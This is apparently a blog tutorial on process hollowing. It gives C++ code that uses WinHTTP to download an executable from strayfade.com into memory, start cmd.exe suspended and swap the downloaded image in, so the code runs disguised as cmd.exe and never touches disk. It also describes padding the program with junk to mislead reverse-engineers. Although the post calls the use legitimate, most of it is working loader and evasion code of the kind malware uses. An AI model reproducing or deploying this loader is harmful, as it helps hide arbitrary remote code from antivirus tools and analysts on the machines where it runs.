1/13/2023

Process Hollowing

Streaming and executing binary code securely

Written by Noah

Introduction

Process hollowing is a technique to run executable, binary code, while disguised as a different process. It is mainly used by malware to replace the code of a running, trusted program with its own, making it very difficult to detect. Although its main use is to evade detection by anti-viruses, process hollowing also has a legitimate use.

More information about process hollowing can be found at https://attack.mitre.org/techniques/T1055/012/

We can use process hollowing to download and run an executable without reading or writing to the disk, which is very useful in preventing reverse-engineering of our code.

Downloading Binary

We will use WinHTTP to download a file from the internet into a temporary buffer.

First, we open an HINTERNET session object and initialize its connection to the domain our binaries are stored on.

HINTERNET hSession = WinHttpOpen(USER_AGENT, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnection = WinHttpConnect(hSession, DOWNLOAD_DOMAIN, (DOWNLOAD_USE_HTTPS ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT), 0);

Here, USER_AGENT is defined as a default User Agent (Mozilla/5.0 (X11;...) and DOWNLOAD_DOMAIN is the domain where our binaries are hosted (strayfade.com in this case) DOWNLOAD_USE_HTTPS is defined as true so that we connect on port 443 which is used for HTTPS.

HINTERNET hRequest = WinHttpOpenRequest(hConnection, L"GET", DOWNLOAD_PATH, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
  • L"GET" tells WinHTTP to create a GET request
  • DOWNLOAD_PATH is the path of the binaries on the server (/cdn/file.exe)
  • WINHTTP_DEFAULT_ACCEPT_TYPES tells WinHTTP to accept binary data.
  • WINHTTP_FLAG_SECURE tells WinHTTP that this data is served over HTTPS.

This code sends the request and reads the response into the hRequest variable. Below, we get the size of the transferred data to allocate memory for it.

WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0))
WinHttpReceiveResponse(hRequest, NULL)
DWORD contentLength = 0;
DWORD contentLengthBufferSize = 128;
WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &contentLength, &contentLengthBufferSize, WINHTTP_NO_HEADER_INDEX)
unsigned char* buffer = new unsigned char[contentLength];

Next, we have to read the response into the array

DWORD bytesRead = 0;
WinHttpReadData(hRequest, (LPVOID)buffer, contentLength, &bytesRead);

Creating a process

I learned about most of this from the adamhlt/Process-Hollowing repository on GitHub, so credit goes to them for some bits of this code.

First, we have to create a dummy process to be "hollowed":

CreateProcessA((LPSTR)HOST_PROCESS, nullptr, nullptr, nullptr, TRUE, CREATE_SUSPENDED, nullptr, nullptr, &SI, &PI);

What's important here is the HOST_PROCESS variable and CREATE_SUSPENDED flag. HOST_PROCESS is a path (string) to the executable to hollow. For our use, this is set to the absolute path of cmd.exe. The CREATE_SUSPENDED flag tells CreateProcessA to suspend the process as soon as it is created, letting us replace its PE image before it starts.

We also need to check whether or not the running executable is compatible (has the same architecture as our replacement code). To do this, I'm using functions from the Process-Hollowing repository:

bool bTarget32;
IsWow64Process(PI.hProcess, &bTarget32);
ProcessAddressInformation ProcessAddressInformation = { nullptr, nullptr };
ProcessAddressInformation = GetProcessAddressInformation64(&PI); // Get base address of process to hollow
const bool bSource32 = IsPE32(hFileContent); // hFileContent is a cast of buffer to type LPVOID
DWORD dwSourceSubsystem = GetSubsytem64(hFileContent);
DWORD dwTargetSubsystem = GetSubsystemEx64(PI.hProcess, ProcessAddressInformation.lpProcessImageBaseAddress);
if (dwSourceSubsystem != dwTargetSubsystem)
    return;

Finally, we do the actual process hollowing

bool bHasReloc = HasRelocation64(hFileContent);
if (!bHasReloc)
    RunPE64(&PI, hFileContent);
else
    RunPEReloc64(&PI, hFileContent);

More Important Things

One neat thing we can do to confuse reverse-engineerers is to pad our executable with junk code, since the whole program only ends up at about 16kb. There aren't many programs that small, so we need to add junk code to make our process hollowing look like it's just running the original program. I added 2mb of filler to the program, since the binaries we were downloading were around that size.

CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Pad, 0, 0, 0); // This runs in a thread after the process hollowing has finished.

References